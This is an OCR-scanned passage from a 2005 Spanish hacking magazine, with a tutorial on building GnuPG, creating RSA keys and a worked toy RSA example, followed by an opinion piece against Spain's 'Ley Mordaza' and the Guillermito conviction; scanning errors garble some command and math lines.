lo mas variopintos, y no tienen nada
que ver con el articulo, por lo que si tie-
nes cualquier problema con este punto,
te recomiendo que te pases por nuestro
foro, y alli preguntes indicando detalla-
damente el error obtenido (copiar y pe-
gar la salida por consola es lo mas fa-
cil). Seguro que encuentras mucha gen-
te dispuesta a echarte una mano.

Si alin no conoces nuestro foro, no de-
jes de visitarlo:

http://www.hackxcrack.com/phpBB2/

master@blingdenstone:~$

master@blingdenstone:~$ Is -l gnupg-1.4.0.tar.gz

-rw-r--r-- 1 master master 3929941 Mar 1 00:03 gnupg-1.4.0.tar.gz
master@blingdenstone:~$ md5sum gnupg-1.4.0.tar.gz
74e407a8dcb09866555f79ae797555da gnupg-1.4.0.tar.gz
master@blingdenstone:~$ shalsum gnupg-1.4.0.tar.gz
7078b8f14f21d04c7bc9d988a6a2f08d703fbc83 gnupg-1.4.0.tar.gz

Listado 1
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config.status: creating po/Makefile
config.status: executing g10defs.h commands
gl0defs.h created

Configured for: GNU/Linux (i686-pc-linux-gnu)

Listado 2

make[2]:
make[2]:
make[2]:

Leaving directory */home/master/gnupg-1.4.0/checks'
Entering directory */home/master/gnupg-1.4.0'
Nothing to be done for "“all-am'.

make[2]: Leaving directory */home/master/gnupg-1.4.0'
make[1]: Leaving directory */home/master/gnupg-1.4.0'
master@blingdenstone:~/gnupg-1.4.0$

Listado 3

master@blingdenstone:~$ gpg --version

gpg (GnuPG) 1.4.0

Copyright (C) 2004 Free Software Foundation, Inc.

This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. See the file COPYING for details.

Home: ~/.gnupg

Supported algorithms:

Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA

Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512
Compression: Uncompressed, ZIP, ZLIB

master@blingdenstone:~$

Listado 4

master@blingdenstone:~$ gpg --gen-key
gpg (GnuPG) 1.4.0; Copyright (C) 2004
Free Software Foundation, Inc.
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
See the file COPYING for details.
Please select what kind of key you want:
(1) DSA and Elgamal (default)
(2) DSA (sign only)
(5) RSA (sign only)
Your selection?

Listado 5

Si todo ha ido bien, deberias ver al final
unas lineas parecidas a estas:(ver lis-
tado 2)

Y si lo del ./configure os parecieron mu-
chas lineas, esperad a ver esto... :-D

El comando make compila todos los fi-
cheros de codigo del programa segun
las reglas definidas en el fichero
Makefile (que a su vez ha sido generado
por el script de configuracion anterior).

Eso significa que estamos listos para
compilar, cosa que vamos a hacer ahora
mismo:

master@blingdenstone:~/gnupg-1.4.0$
make
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Si todo ha ido bien, veremos algo como
asi:(ver listado 3)

Ahora debemos "instalar" el programa
que acabamos de compilar, para lo cual
primero debemos "hacernos root" me-
diante el comando su y después ejecu-
tar la orden de instalacion en el directo-
rio de binarios del sistema (/usr/bin). El
que tengamos que hacernos root es de-
bido a que dicho directorio requiere pri-
vilegios especiales para escribir en él.

master@blingdenstone:~/gnupg-1.4.0$ su
Password:
blingdenstone:/home/master/gnupg-1.4.0#
make install

Y unas cuantas lineas mas. :-P

Ahora lo primero que debemos hacer es
volver a convertirnos en nuestro usuario
habitual (mediante el comando exit) y
comprobar (desde cualquier directorio)
que GPG esta correctamente instalado:
(ver listado 4)

iPerfecto! Ya tenemos GPG compilado pa-
ra nuestro sistema vy listo para funcionar.

Para las "mentes inquietas", que sé que
hay muchas por ahi sueltas... echad un
ojo a los ficheros contenidos en la carpeta
gnupg-1.4.0/cipher/ ... os garantizo que
no os aburriréis (si sabéis C, claro).

Comenzando a trabajar
con GPG

Supongo que habréis notado que el ni-
vel en general de este segundo articulo
es algo mas alto que el del primero. No
es casualidad: deseo, poco a poco, ir
detallando tanto la teoria como las
practicas, para que la curva de aprendi-
zaje sea suave pero ascendente. Ahora,
momento de empezar a conocer GPG,
notaréis especialmente esto que acabo
de comentar... espero que nadie se me
pierda.

Como los conceptos tedricos ya estan asi-
milados del articulo anterior con PGP, no
voy a volver a explicar en qué consiste
cada uno de los procesos que se llevan a
cabo tras las acciones del software.
Tampoco voy a detallar de forma exhaus-
tiva todas y cada una de las opciones de
GPG, pues eso requeriria mucho mas es-
pacio del que disponemos. Vamos, pues,
a aprender a usar GPG mientras profundi-
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Your selection? 5

RSA keys may be between 1024 and 4096 bits long.

What keysize do you want? (2048)

Listado 6

Requested keysize is 4096 bits

0 = key does not expire
<n> = key expires in n days
<n>w = key expires in nh weeks

<n>y = key expires in n years
Key is valid for? (0)

<n>m = key expires in n months

" What keysize do you want? (2048) 4096

Please specify how long the key should be valid.

Listado 7

Is this correct? (y/N) y

Real name:

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Listado 8

Real name: Wadalberto HxC

Comment: -<|:-P
You selected this USER-ID:

Enter passphrase:

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Email address: wadalberto@hackxcrack.com

"Wadalberto HxC (-<|:-P) <wadalberto@hackxcrack.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
You need a Passphrase to protect your secret key.

Listado 9

zamos en los conceptos tedricos de la
criptografia...

La primera vez que ejecutéis GPG os ge-
nerara el directorio que contendra el ani-
llo de claves y la configuracion del soft-
ware. Por defecto, ese directorio sera
.gnupg dentro del home del usuario.

Recordemos que el anillo de claves
es el conjunto de todas las claves
publicas y privadas que tenemos a
disposicion del software. El concepto
de anillo de claves toma especial im-
portancia en procesos como la firma
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digital de claves publicas y el esta-
blecimiento de niveles de confianza.

Vamos a comenzar por crearnos nuestra
propia clave con GPG...(ver listado 5)

Entre las opciones disponibles, voy a es-
coger RSA para la clave nueva que vamos
a generar. Los motivos son dos: el prime-
ro que el sistema RSA siempre ha sido mi
preferido, y el segundo lo averiguaréis
mas tarde...(ver listado 6)

¢Qué clase de criptomaniacos seriamos
si eligiéramos menos de 40967 :-P
(ver listado 7)
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Yo voy a elegir hacer una clave que no
expire, pero creo que podréis ver per-
fectamente que el proceso para generar
una clave con fecha de caducidad es tri-
vial.

Key is valid for? (0) O
Key does not expire at all
Is this correct? (y/N)

Confirmamos la orden.(ver listado 8)

Ahora es el momento de introducir el
identificador que deseamos para nues-
tra clave...(ver listado 9)

Y ahora deberemos introducir (por du-
plicado en estos casos, como de cos-
tumbre) el passphrase que deseamos
asignar a la clave. Tras ello, el software
comenzara la generacion de la clave,
para lo cual pide al usuario que genere
entropia en la maquina.

Como ya comenté en el primer ar-
ticulo, un computador NO es capaz
de generar datos aleatorios, sino
Unicamente pseudoaleatorios. La
Unica forma de introducir en proce-
sos criticos (como la generacion de
una clave de cifrado) entropia es
que ésta sea introducida desde fuera
del sistema por el propio usuario.

(ver listado 10)

En la informaciéon volcada a pantalla
tras la generacién de la clave podemos
observar algunos datos de gran interés,
como la KeyID (D2AB36BB), el tamafio
de clave, el fingerprint... todos estos
elementos deberian ser de sobra cono-
cidos pues se explicaron en detalle en el
articulo anterior.

Pero, como nos muestra el propio GPG,
nuestra clave no estd completa porque
aln no tenemos una subclave de cifra-
do, por lo que deberemos crearla:(ver
listado 11)

Y seleccionamos la opcion de afiadir una
nueva subclave.(ver listado 12)

Dado que deseamos crear una subclave
de cifrado para RSA, seleccionamos la
opcién 6 y seguimos el mismo proceso
para generar la subclave que seguimos
para generar la clave principal.(ver lis-
tado 13)

57



www.hackxcrack.com

We need to generate a lot of random bytes. It is a good idea to perform some other action
(type on the keyboard, move the mouse, utilize the disks) during the prime generation;
this gives the random number generator a better chance to gain enough entropy.
A+

gpg: key D2AB36BB marked as ultimately trusted
public and secret key created and signed.
gpg: checking the trustdb
gpg: public key E632B133 is 5708 seconds newer than the signature
gpg: 3 marginal(s) needed, 1 complete(s) needed, classic trust model
gpg: depth: 0 valid: 20 signed: 27 trust: 0-, 0g, On, Om, Of, 20u
gpg: depth: 1 valid: 27 signed: 0 trust: 0-, 0qg, On, 14m, 13f, Ou
pub 4096R/D2AB36BB 2005-03-09
Key fingerprint = OEF3 77B9 ADDF F172 4695 92F0 EA34 2D4E D2AB 36BB
uid Wadalberto HxC (-<|:-P) <wadalberto@hackxcrack.com>

Note that this key cannot be used for encryption. You may want to use
the command "--edit-key" to generate a secondary key for this purpose.
master@blingdenstone:~$

Listado 10

master@blingdenstone:~$ gpg --edit-key d2ab36bb

gpg (GnuPG) 1.4.0; Copyright (C) 2004 Free Software Foundation, Inc.
This program comes with ABSOLUTELY NO WARRANTY.

This is free software, and you are welcome to redistribute it

under certain conditions. See the file COPYING for details.

Secret key is available.
pub 4096R/D2AB36BB created: 2005-03-09 expires: never usage: CS
trust: ultimate validity: ultimate

[ultimate] (1). Wadalberto HxC (-<]|:-P) <wadalberto@hackxcrack.com>

Command>

Listado 11

—

Command> addkey
Key is protected.

You need a passphrase to unlock the secret key for
user: "Wadalberto HxC (-<|:-P) <wadalberto@hackxcrack.com>
4096-bit RSA key, ID D2AB36BB, created 2005-03-09

n

Please select what kind of key you want:
(2) DSA (sign only)
(4) Elgamal (encrypt only)
(5) RSA (sign only)
(6) RSA (encrypt only)
Your selection?

Listado 12 ) . -
Bien, como ya hemos dicho, la pareja

de claves RSA ya ha sido creada, pero...
équé es RSA en realidad?

Ya tenemos creada nuestra clave RSA.
Podemos verla dentro de nuestro anillo
de claves:(ver listado 14)

Metiendo mano a RSA

Creo que ha llegado el momento de sa-
ber realmente como funciona un algorit-

He cortado la salida por pantalla porque
a nadie le interesaran las otras 45 cla-
ves de mi anillo... :-P
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mo de cifrado. El motivo de haber selec-
cionado RSA y no DSA para la genera-
cion de nuestro par de claves es que
RSA se calcula con operaciones mate-
maticas sencillas (sumas, restas, multi-
plicaciones, divisiones, mddulos...)
mientras que en DSA intervienen loga-
ritmos, lo cual complica mucho mas el
calculo.

Ahora veamos cuales son los pasos para
generar una clave de cifrado RSA:

1- Escoger dos numeros primos muy
grandes p y g (secretos) y calcular el
numero n (publico) correspondiente a
su producto, n = p * g

2- Escoger la clave de descifrado consti-
tuida por un gran numero entero d (se-
creto), que es primo con el numero
phi(n) (secreto) obtenido mediante:
phi(n) = (p-1) * (g-1)

3- Calcular el entero e (publico) tal que
1 <= e <= phi(n) , mediante la
formula: e * d = 1 (mod phi(n))

4- Hacer publica la clave de cifrado (e, n).

Bien, que nadie se asuste que no es tan
complicado como parece. Vamos a se-
guirla paso a paso para construir nues-
tra propia clave con papel y pluma (al-
gunos aun escribimos con estilografica).

En primer lugar, elegimos dos nimeros
primos... aunque no seran "grandes pri-
mos" como dicta el algoritmo, que no
queremos morirnos calculando... xD

=1
=3
> n

1

| 9 T

= (p*q) = 33

Ahora debemos calcular el nimero
phi(n):

phi(n) = 10 * 2 = 20

Con estos factores calculados, debemos
calcular e, teniendo en cuenta que debe
cumplir que su maximo comun divisor
con (p-1) y (g-1) -y, por tanto, con
phi(n)- debe ser 1.

mcd (e, p-1) =1
mcd (e, g-1) =1
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[ Please select what kind of key you want:
(2) DSA (sign only)
(4) Elgamal (encrypt only)
(5) RSA (sign only)
(6) RSA (encrypt only)
Your selection? 6
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0) O
Key does not expire at all
Is this correct? (y/N) y
Really create? (y/N) vy
We need to generate a lot of random bytes. It is a good idea to perform some
other action (type on the keyboard, move the mouse, utilize the disks) during
the prime generation; this gives the random number generator a better
chance to gain enough entropy.

pub 4096R/D2AB36BB created: 2005-03-09
trust: ultimate validity: ultimate
sub 4096R/4F05B850 created: 2005-03-09 expires: never usage: E

[ultimate] (1). Wadalberto HxC (-<]|:-P) <wadalberto@hackxcrack.com>

expires: never usage: CS

Command> quit
Save changes? (y/N) y
master@blingdenstone:~$

Listado 13

master@blingdenstone:~$ gpg --list-keys
/home/master/.gnupg/pubring.gpg

pub 4096R/D2AB36BB 2005-03-09
uid Wadalberto HxC (-<|:-P) <wadalberto@hackxcrack.com>
sub 4096R/4F05B850 2005-03-09

master@blingdenstone:~$

Listado 14

=> mcd (e, phi(n)) = mcd (e, (p-1) (g-1))=1 d=7

€= exd-1=(3%7)-1=20
med (3, 10) = 1 20 | phi(n)=20
mcd (3,2) =1

=> mcd (3, 20) = mcd (3, (10) (2))=1

Ahora debemos seleccionar el nimero d

Ya hemos terminado de calcular las cla-
ves y estamos listos para publicarlas:

teniendo especial cuidado de satisfacer
las premisas:

Clave publica = (n, e)

(33,3)
Clave privada = (n, d) = (33,7)
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Bien, la cosa se va poniendo interesan-
te. Es el momento de ver la
especificacion del algoritmo para cifrar
y descifrar:

1- Para cifrar texto, es necesario previa-
mente codificar el texto en un sistema
numérico en base b dividiéndolo en blo-
ques de tamafio j-1 de forma que b~ (j-
1) < n < b”j.

2- Cifrar cada bloque M_i transforman-
dolo en un nuevo bloque de tamafio j
C_i de acuerdo con la expresiéon C_i ==
M_i~e (mod n).

3- Para descifrar el bloque C_i , se usa
la clave privada d segun la expresidn:
M_i == C_i~d (mod n).

Creo que serda mucho mas facil de ver
con un ejemplo... supongamos que que-
remos cifrar un mensaje representado
por el nimero 7.

m=7

El valor cifrado del mensaje 7 segln la
clave publica (33,3) es el siguiente:

c=m”"emodn=7"3mod 33 =
343 mod 33 = 13

Ahora comprobamos que al aplicar la
formula de descifrado con la clave pri-
vada (33,7) obtenemos de nuevo el
mensaje original:

m'=c~rd mod n =137 mod 33 =7

Dado que m=m' el mensaje se ha
descifrado correctamente y nues-
tro par de claves funciona a la
perfeccion. :-)

Ahora ya sabéis como funciona en reali-
dad vuestra clave de cifrado por dentro,
y lo sabéis de forma totalmente exacta.
El sistema es exactamente el mismo,
solo que en OpenPGP se utilizan
numeros descomunales mientras que yo
he elegido si no los mas bajos, casi.

Manejando claves en GPG

Aunque dije que no iba a detallar todas
las opciones de GPG, si hay algunas que
no quiero dejar de mencionar. Los datos
encerrados entre "<>" son opciones va-
riables que debe introducir el usuario.
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Importar clave: gpg --import <fichero>

Exportar clave publica: gpg --armor --
export <KeyID> <fichero>

Exportar clave privada: gpg --armor --
export-secret-keys <KeyID> <fichero>

Exportar a un servidor de claves: gpg -
-keyserver <Keyserver> --send-key
<KeyID>

Recordad que a un servidor de
claves Unicamente pueden expor-
tarse claves publicas.

Buscar en un servidor de claves: gpg --
keyserver <Keyserver> --search-key
<KeyID>

Importar desde un servidor de claves:
gpg --keyserver <Keyserver> --recv-
key <KeyID>

Firmar una clave publica (firma exporta-
ble): gpg --sign-key <KeyID>

Firmar una clave publica (firma no ex-
portable): gpg --Isign-key <KeyID>

Cifrar ficheros: gpg --encrypt-files <fi-
chero>

Descifrar ficheros: gpg --decrypt-files
<fichero>

Firmar ficheros (MIME): gpg --sign <fi-
chero>

Firmar ficheros (armadura): gpg --
clearsign <fichero>

Verificar firmas: gpg --verify <fichero>

Para conocer en profundidad todas las
opciones de GPG, lo mejor es que eje-
cutéis el comando "man gnupg" y os
empapéis del manual de GnuPG. Y si
tenéis alguna duda, en el foro podéis
preguntar tranquilamente.

Poniendo cara a GPG

GnuPG es un software muy potente, sin
duda, pero la verdad es que trabajar en
consola suele resultar bastante engorro-
so a la mayoria de los usuarios (excepto
unos cuantos "tipos raros" como yo),
por lo que lo mas ldgico en los tiempos
que corren es que todo programa cuyo
uso requiera comandos de consola, ten-
ga una o varias interfaces graficas de
usuario (GUI, del inglés Graphic User
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Interface) que faciliten al usuario su
manejo.

Para GnuPG existen multitud de GUIs
para GnuPG, pero personalmente os re-
comiendo dos de ellas: Gnu Privacy
Assistant (GPA) y KGpg. Podéis ver la
lista oficial de GUIs de GnuPG en:

http://www.gnupg.org/(es)/related so
ftware/frontends.html#gui

GPA

X GHUPRIAEY JeE s{ant EFeyring EAlar,
Fle Edk Keys Server Windows Help
> W & & d |2 @
Edt  Delete Impart  Expart Brief | Detaled Ales
ﬁf Keyring Editor

- [':t:)'IIJ ) | User Narm O

o Hat [-=[:-P] on: :l

I D

JBLELLEL0L

Detals | Signatures | Subkeys |
The key has bath a private and a public part g
The key can be used for certification, signing and encryption,
LUser Name! HIC (-]} COm:
ey ID; DZABAGER
Fingerprint; OEF3 7785 ADDF F172 4695 9270 EA34 2D4E DZAR 3580
EXpires al: NEVEr expifes
Owner Trust: Ultimate
Key Validty. Fuily Valid
Kay Type: RSA 4086 bits
Created at: 03/05/05

Selected Defaut Key:  Death Misster < >

'L

es la primera GUI que usé para GnuPG.
Es bastante completa y rapida, si bien
no contempla todas las opciones de
GPG (cosa que, por otro lado, es comun
en todas las GUIs de programas de li-
nea de comandos). Esta formado por
dos partes: el editor del anillo y el ges-
tor de ficheros.

KGpg

es la GUI de KDE para GPG. Es la GUI
que uso ahora mismo y me parece la
mas completa que hay hoy por hoy. Su
estética es muy parecida a la de PGP
para Windows, lo cual es mas util para
usuarios que pretendan migrar a Linux,
ademas de la calidad de la misma.
Posee muchos mas y mejores didlogos
y opciones que GPA, ademas de ser
mas intuitivo en el uso.
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Pero la gran ventaja de KGpg es la
integracién con KDE (para los usuarios
de KDE como yo, claro). En primer lu-
gar, KGpg se integra con Konqueror pa-
ra permitir trabajar con cifrado de archi-
vos desde el navegador de ficheros.
Ademds, KGpg genera un icono en la
bandeja de sistema que permite traba-
jar con el contenido del portapapeles y
GPG de forma transparente al usuario.
Por ultimo, KGpg integra la "destructora
de documentos" en el escritorio, un sis-
tema de borrado seguro de datos para
GnuPG. En definitiva, que KGpg ofrece
una experiencia de integracion en Linux
similar a PGP en Windows, lo cual resul-
ta mucho mas agradable para cualquier
usuario, ademas de evitar ese efecto
"campo de fuerza" que efectiian algunos
programas de linea de comandos en
muchas personas... :-P

Para instalar cualquiera de ellos dos,
debéis seguir el mismo sistema que he-
mos seguido con GnuPG, pudiendo ele-
gir paquetes precompilados o compilarlo
vosotros mismos (los pasos son practi-
camente los mismos que hemos visto al
principio del articulo).

Como ejercicio os queda practicar todo
lo que sabéis de OpenPGP, y mas con-
cretamente de GnuPG, en la interfaz
grafica que prefirdis. A estas alturas de-
beriais de ser capaces de saber perfec-
tamente para qué sirve cada opcidén, y
haciendo paralelismos con lo visto en
PGP, no sera complicado que os hagais
con el manejo rapidamente. En cual-
quier caso, en caso de duda, pregunta
en el foro. :-)

Borrado seguro de datos

Como prometi equiparar a los "window-
seros" y a los "linuxeros", os voy a re-
comendar un software de borrado segu-
ro de datos para Linux que, aunque no
tiene nada que ver con GnuPG, os servi-
ra para obtener la misma funcionalidad
que ofrece el programa wipe de PGP. Ya
sé que KGpg ofrece un servicio parecido
también, pero habra gente que no le
guste KGpg y prefiera GPA o cualquier
otro...

El software se llama wipe (si, también,
ipero no es lo mismo!) y se maneja des-
de consola. La pagina del programa es:

http://wipe.sourceforge.net/
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master@blingdenstone:~$ su
Password:

Operation finished.

but not followed, 0 errors occured.
blingdenstone:/home/master# exit
exit

master@blingdenstone:~$

blingdenstone:/home/master# wipe heap.c
Okay to WIPE 1 regular file ? (Yes/No) yes

1 file wiped and 0 special files ignored in 0 directories, 0 symlinks removed

Listado 15

Su uso es muy sencillo, basta con invo-
car el comando wipe seguido del fichero
a eliminar (con su ruta correspondiente,
claro) y confirmar la orden. Claro que
siempre hay unas consideraciones que
no debemos olvidar: en primer lugar,
que para ejecutar este programa es
necesario ser el usuario root (ya hemos
dicho al principio del articulo como hac-
ernos root); y en segundo lugar, lo mis-
mo que dije para el wipe de PGP: cuida-
do con lo que eliminais porque lo que
borréis con este método no volvera
jamas. Avisados estais. :-P

Ahora vamos a ver un ejemplo practico
del uso de wipe:(ver listado 15)
Sencillisimo, éverdad?

Este es el fin del segundo articulo del
Taller de Criptografia. Espero que os
haya gustado (y si es posible, mas que
el anterior, jejeje).

Sé que lo he dicho muchas veces, pero
todas las que se diga son pocas: si
tenéis cualquier problema, visitad nues-

Visita nuestro foro, TU FORO!!!
en WWW.HACKXCRACK.COM

ZONA DE CONTENIDOS
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tro foro, donde hay mucha gente dis-
puesta a ayudar. Y si tenéis alguna sug-
erencia, podéis escribirme un correo
electrénico (las dudas mejor en el foro,
donde todos puedan beneficiarse de las
respuestas). Algunos pensaran "este tio
nos dice que le mandemos un correo y
no nos ha dado la direccién...".

En realidad a estas alturas el que no sea
capaz de encontrar mi clave publica en
algun servidor de claves, es que no se
ha leido los articulos y por tanto no
puede tener dudas sobre los mismos. ;-
P

El préximo nimero nos meteremos de
lleno en cdmo aplicar OpenPGP (en
cualquiera de sus implementaciones) a
las tareas cotidianas frente a la pantal-
la: copias de seguridad de ficheros,
correo electréonico, mensajeria in-
stantanea...

Sed buenos.

Ramiro C.G. (alias Death Master)
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OPINION

La "Ley Mordaza":
Informar es DELITO.

"Mi sefior, mi rey, poned en vuestra poderosa espada mis humildes pero sabias palabras. Por los
siglos es sabido que, si mantenéis al pueblo bajo el yugo de la pobreza de pensamiento y la igno-
rancia, obtendréis un pueblo sumiso como el mas necio de vuestros bufones.

Ofreced a vuestro pueblo sabiduria, y se rebelara contra vos."

(el consejero del rey, edad media).

No hemos podido dejar de incluir este mes un articulo de opinidén respecto a un tema de rabiosa
actualidad, es una responsabilidad ineludible hacernos eco de lo amenazados que nos sentimos
muchos redactores y colaboradores de este y otros muchos medios por el mero hecho de

INFORMAR.
Te presentamos el “caso Guillermito”. ¢éQuién es Guillermito? Dice “Guillerrmito” en su Web:
El 8 de Marzo de 2005 Guillaume Tena, ciudadano francés de Fuente original extraida de KRIPTOPOLIS:
origen espafiol popularmente conocido como “Guillermito”, http://www.kriptopolis.org/node/474
ha sido condenado por un tribunal francés debido a que Web de “Guillermito”: http://www.guillermito2.net/

demostrd y publicé fallos en varios programas, utilizando
para la demostracion todos los medios técnicos a su alcance.
Ha sido condenado gracias a unas leyes muy cercanas en su
interpretacion a las que recientemente han sido aprobadas
en Espaia.
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El siguiente texto ha sido extraido del
Boletin Oficial del Estado. Si deseas acceder
a la fuente completa, puedes hacerlo en
el siguiente enlace:
http://www.pcpasoapaso.com/libe
rados/leymordaza.pdf

Abril 2005 / n° 28

Cuando una persona sin conocimientos
juridicos lee una ley como la que hemos
expuesto, la verdad, incluso piensa que
es perfectamente ldgica y necesaria. Re-
sumiendo lo poco que se entiende, dice
que es delito piratear software y hardware
(por ejemplo tarjetas de television codifi-
cadas), ensefar a terceros como se hace,
incitar a terceros a realizar dichas practicas
y, para colmo, beneficiarse
econémicamente de ello. Muy bien, parece
que estamos ante “una buena ley”.

Antes de hablar nosotros, dejemos hablen
los expertos... no sea que nosotros seamos
unos “bichos raros”. A continuacién te
invitamos a leer algunos fragmentos es-
critos por Carlos Sanchez Almeida, repu-
tado abogado y especialmente reconocido

PC Paso a Paso

OPINION
dentro del sector de delitos informaticos
(para mas datos consultar

http://www.bufetalmeida.com/abogados
/carlos.html)

(Puedes consultar la fuente completa en
http://www.kriptopolis.com/more.
php?id=P28_0_1 _0_C)

éCémo es posible que un destacado abo-
gado diga tales cosas? ¢Acaso no ha leido
La Ley? Nosotros, tu y yo, la hemos leido
y no vemos ese peligro...

...es cierto, pero la mayoria de nosotros
no sabemos interpretar la ley.

Llegados a este punto y leidas las palabras
de Carlos Almeida, nos encontramos ante
una situacion realmente alarmante.
Imagina por un momento que eres direc-
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tivo de una empresa y, basandote en la
propaganda y el renombre de algunas
grandes compafiias, compras un software
gue asegura una proteccién de maximo
nivel para los datos de tu sociedad... y
quien dice un directivo de empresa dice
también un gobierno o una entidad ban-
caria.

Recordemos que segun otra ley (la ley de
proteccion de datos), tu empresa esta
obligada a salvaguardar los datos de tus
clientes y, en caso de que se produzcan
filtraciones, puedes ser juzgado por no
haber puesto los medios necesarios para
asegurar dichos datos. Por lo tanto, como
empresario responsable, pones todos los
medios necesarios para cumplir la ley.
Imaginemos que pasan tres meses, y
recibes un centenar de citaciones judiciales
por parte de tus clientes debido a que sus
datos (guardados celosamente por ti) han
sido publicados abiertamente... équé ha
pasado? Muy sencillo, aquel reputado
programa que adquiriste para proteger
los datos no era mas que pura propagan-
da... mala suerte.

Guillaume Tena fue condenado por, preci-
samente, informar y demostrar
publicamente de que muchos programas
que dicen asegurar tus datos son “puro
humo propagandistico” y que con sencillos
métodos al alcance de la mayoria de per-
sonas, esos programas no sirven para
nada. Hizo publico al menos uno de pro-
gramas que adolecian de este problema
(programa que disfrutaba de gran
reputacion) y debido a ello fue denunciado
y finalmente declarado CULPABLE!!!
Vamos a ver... las personas como tu o
yo... éno tenemos derecho a saber si un
producto es bueno o malo? El director de
una empresa... éno tiene derecho a cono-
cer la verdad sobre los productos que
compra?... y en caso extremo... si un
banco o un gobierno utiliza esos programas
para proteger datos... éno estamos todos
en peligro? Si no hay informacion, si nadie
demuestra publicamente la deficiencia de
ciertos productos... écdmo podemos saber
si lo que compramos cumple con unos
minimos de calidad?

Si anulamos el derecho a informar, si
ponemos mordazas juridicas a quienes
investigan y estudian la calidad de los
productos... éQué tipo de sociedad estamos
creando? ... quiza tengamos que creer a
“guillermito”... quiza terminaremos vivien-
do en una sociedad-Disneylandia donde
los preciosos panfletos de publicidad seran
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la innegable realidad.

¢Deseamos vivir en esa Disney-Sociedad?
Por supuesto que no. Me niego a pensar
que los poderes que deben defender al
ciudadano, la Ley, se ponga de parte de
la ignorancia. Me niego a pensar que
hemos vuelto a la Edad Media y que nues-
tro rey (el estado) y su voz (la Ley) han
decidido sumir al pueblo en la ignorancia
y la podredumbre de ideas.

La historia demuestra, de forma contun-
dente, que la ignorancia siempre conduce
a la injusticia, a la corrupcion, a la
degradacion del ser humano como tal y
finalmente, al retroceso del conjunto de
la sociedad. Y cuando digo “el conjunto
de la sociedad”, me refiero a “la sociedad
global”, tanto a las personas de “a pie”
como a los gobiernos en si mismo... la
pobreza de ideas provoca que la evolucién
se detenga y, en caso de no invertir el
proceso, retroceda.

Esta situacion es bastante absurda. Cual-
quier producto tiene un control de calidad...
épor qué se impiden los controles de
calidad en productos tecnoldgicos? Muy
al contrario, se deberian propiciar las
investigaciones independientes... y una
vez mas... otros paises nos han tomado
la delantera.

En Estados Unidos (por poner un ejemplo)
esta ley no tiene equivalente, muy al
contrario, las personas que demuestran
gran habilidad en la investigacién son muy
buscadas por las empresas, porque el
talento no puede ser desaprovechado,
debe ser potenciado... hace tiempo que
Europa parece haber tomado el camino
contrario. No, sefiores, no... la ignorancia
no es el camino correcto.

Esta situacion nos afecta a todos. Recor-
demos las palabras de Carlos Almeida

Esta revista trata directamente y en pro-
fundidad aspectos técnicos de la seguridad
informatica y, precisamente por ello, nos
hemos sentido atemorizados por “la ley
mordaza”. Ahora mismo estamos expues-
tos a una condena por los contenidos que
tienes en la mano, hablar de Seguridad
Informatica es delito en Espafia.
¢Seremos nosotros los primeros condena-
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dos en Espafia por ejercer el derecho de
Informar?

Te aseguro que este mes hemos tenido
serias dudas sobre si debiamos o no pu-
blicar los articulos que tienes delante de
ti, nos hemos sentido amenazados y ate-
morizados por la evolucion de las Ultimas
leyes y los resultados de las mismas en
otros paises. Pero no es ya solo esta
revista, todas las revistas, incluidas PC
World o PC Actual o @rroba contienen
referencias a los ultimos virus, agujeros
de seguridad y en definitiva cualquier tema
del interés del lector. ¢Somos delincuentes?
¢Y las Webs? ¢Se empezaran a perseguir
las cientos de miles de Webs que contienen
informacidn sobre seguridad informatica?
La verdad es que no, nadie en su sano
juicio iniciaria una cruzada de este tipo,
pero eso es lo de menos... con que se
juzguen y condenen a unos pocos, es mas
que suficiente para que “el resto” seamos
mas cautos y nos autocensuremos... y
ese es el verdadero peligro de esta ley
tan ambigua, provocard que uno se lo
piense muy bien antes de abrir la boca y
publicar ciertas informaciones de forma
abierta.

Y este es el problema REAL de la “ley
mordaza”: SU PROFUNDA AMBIGUEDAD.
Es tan poco concreta, tan irresponsable-
mente imprecisa, tan facilmente tergiver-
sable que es mas que suficiente para
provocar condenas en Espafia y permitir
que el miedo se infiltre en la sociedad.
Seamos realistas, no es el gusto de nadie
ponerse “en peligro” de ser condenado
por escribir unas palabras y publicarlas.
Ese temor lo hemos sentido nosotros, lo
hemos tocado, lo hemos saboreado y a
punto ha estado de tener consecuencias.
Si nosotros hemos sentido esa inseguri-
dad... éQué puede llegar sentir una persona
cualquiera que tiene una Web personal en
la que se tratan temas de Seguridad In-
formatica?

Para no caer en el desanimo y dejar una
puerta abierta a la esperanza, tengamos
presente un fragmento de un articulo
publicado recientemente por David Bravo,
conocido abogado que lucha por la
defensa de los internautas.
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OPINION fﬁ\

Cerramos aqui la parte formal del articulo
de opinion y “nos soltamos el pelo”. La
intencién de esta primera parte era dar
un argumento absolutamente irrebatible
sobre el tema principal (el derecho a
informar sin temor a represalias). Lo que
leeras a continuacidn son las posibles
consecuencias de la “Ley mordaza” y puede
tener varias lineas de contra-
argumentacion... y por eso es un articulo
de opinidn, para que sea debatido, por
ejemplo, en el foro de Hackxcrack. Hay
un hilo abierto que precisamente trata el
“caso Guillermito”:
http://www.hackxcrack.com/phpBB2/vie
wtopic.php?t=18335 :)

Intentaré no ser alarmista y, por supuesto,
no llegar al anarquismo dialéctico; pero
no pienso reprimir mi inquietud ante esta
situacidon. Quiza no sea conveniente que
leas lo que viene a continuacion, te adver-
timos que es perjudicial para tu (nuestra)
“cémoda” vida.

Nosotros, el pueblo, “la plebe”, dificilmente
nos damos cuenta de los cambios en las
leyes hasta que ya es demasiado tarde.
No importa que algunos colectivos poco
representativos (sin poder mediatico) nos
avisen, nos adviertan, nos pidan firmas y
